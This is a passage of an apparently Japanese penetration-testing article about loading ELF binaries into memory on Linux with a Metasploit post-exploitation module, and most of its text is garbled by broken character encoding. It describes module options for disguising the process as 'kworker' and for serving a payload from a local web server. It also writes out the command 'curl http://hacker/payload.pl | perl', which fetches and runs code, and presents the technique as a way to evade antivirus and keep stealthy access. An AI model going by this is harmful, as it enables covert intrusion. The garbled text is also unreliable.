èŠããããŸãã ãªãã·ã§ã³ã®ãªã¹ãã¯ã show options
ã³ãã³ãã§è¡šç€ºããshow options
ã
ARGS
å®è¡å¯èœãã¡ã€ã«ã®åŒæ°
FILE
å®è¡å¯èœãã¡ã€ã«ãžã®ãã¹ã ç§ãã¡ã®å Žåãããã¯Netcatã§ãã
NAME
ã¯ããã»ã¹ã®ååã§ãã 圌ã«ã¯äœã§ãé»è©±ã§ããŸãã ããšãã°ãã¹ãã«ã¹ã®ããã«ãããã¯kworkerïŒ1ã§ããå ŽåããããŸãããŸãã¯ããã¢ã³ã¹ãã¬ãŒã·ã§ã³ã®ç®çã§ãããšãã°KittyCatã®ãããªäœãã³ããã¯
SESSION
-meterpreterã»ãã·ã§ã³ã ãã®ã¢ãžã¥ãŒã«ã¯ãæäœåŸã®ç®çã«äœ¿çšãããããšãç解ãããŠããŸãã
次ã«ã SRVPORT
ãšSRVPORT
è² è·ãæã€httpãµãŒããŒãé
眮ããããã¹ããšãã®ããŒããããããSRVPORT
ã
VECTOR
ã¡ã¢ãªå
ã®ããã°ã©ã ã®å®è¡ãå®çŸããæ¹æ³ããã©ã¡ãŒã¿ãŒã¯ãªãã·ã§ã³ã§ãã空ã®å Žåãã¹ã¯ãªããèªäœãå¿
èŠãªã€ã³ã¿ãŒããªã¿ãŒã®ååšã確ç«ããŸãã çŸåšãPHPãPythonããŸãã¯PerlããµããŒããããŠããŸãã
exploit
ãŸãã¯run
ã³ãã³ãã䜿çšããŠrun
ãã
以äžã®ããã«æ©èœããŸã-ç®çã®ã»ãã·ã§ã³ã瀺ããŸããã¡ãŒã¿ãŒãã¬ã¿ãŒãŸãã¯éåžžã®ãªããŒã¹ã·ã§ã«ã®ããããã§ãã 次ã«ãããã»ã¹ã®ãªã¹ãã§ãelfãåŒæ°ãããã³ç®çã®ååãžã®ããŒã«ã«ãã¹ãæå®ããŸãã éå§åŸããã€ããŒãããã¹ãããããã«ããŒã«ã«WebãµãŒããŒãèµ·åãããã»ãã·ã§ã³ã¯ããããã³ã°ãã§ã¢ããæ€çŽ¢ããŸããcurlãšwgetã¯çŸåšãµããŒããããŠããŸãã å°ãªããšã1ã€ãèŠã€ããåŸãå¿
èŠãªVECTOR
ãã©ã¡ãŒã¿ãŒãæå®ããŠããªãå Žåã¯ããã¹ãŠã®ã€ã³ã¿ãŒããªã¿ãŒãæ€çŽ¢ãããŸãã ããŠãæåããå Žåãã³ãã³ããå®è¡ãããWebãµãŒããŒãããã€ããŒããããŠã³ããŒãããããã€ããä»ããŠç®çã®ã€ã³ã¿ãŒããªã¿ãŒã«è»¢éãããŸãã $ curl http://hacker/payload.pl | perl
$ curl http://hacker/payload.pl | perl
çµè«ã®ä»£ããã«ã
Linuxã§ãã¡ã€ã«ãªãã§ELFãã¡ã€ã«ãããŠã³ããŒãããããšã¯ã䟵å
¥ãã¹ãã«åœ¹ç«ã€ãã¯ããã¯ã§ãã ããã¯éåžžã«éããªæ¹æ³ã§ãããå¹
åºãã¢ã³ããŠã€ã«ã¹ä¿è·ããŒã«ãæŽåæ§ç£èŠã·ã¹ãã ãããã³ããŒããã©ã€ãã®å
容ã®å€åãç£èŠããç£èŠã·ã¹ãã ã«èããããšãã§ããŸãã ããã«ãããæå°éã®ãã¬ãŒã¹ãæ®ããªãããã¿ãŒã²ããã·ã¹ãã ãžã®ã¢ã¯ã»ã¹ãç°¡åã«ç¶æã§ããŸãã
ãã®èšäºã§ã¯ãå€ãã®å ŽåLinuxãã£ã¹ããªãã¥ãŒã·ã§ã³ããã¡ãŒã ãŠã§ã¢ãã«ãŒã¿ãŒãã¢ãã€ã«ããã€ã¹ã«ããã©ã«ãã§ã€ã³ã¹ããŒã«ãããã€ã³ã¿ãŒããªã¿ãŒåããã°ã©ãã³ã°èšèªã䜿çšããŸããã ãŸãããã®ã¬ãã¥ãŒã®ãã£ãããšãªã£ããã®èšäºã®èè
ã«ãæè¬ããããšæããŸãã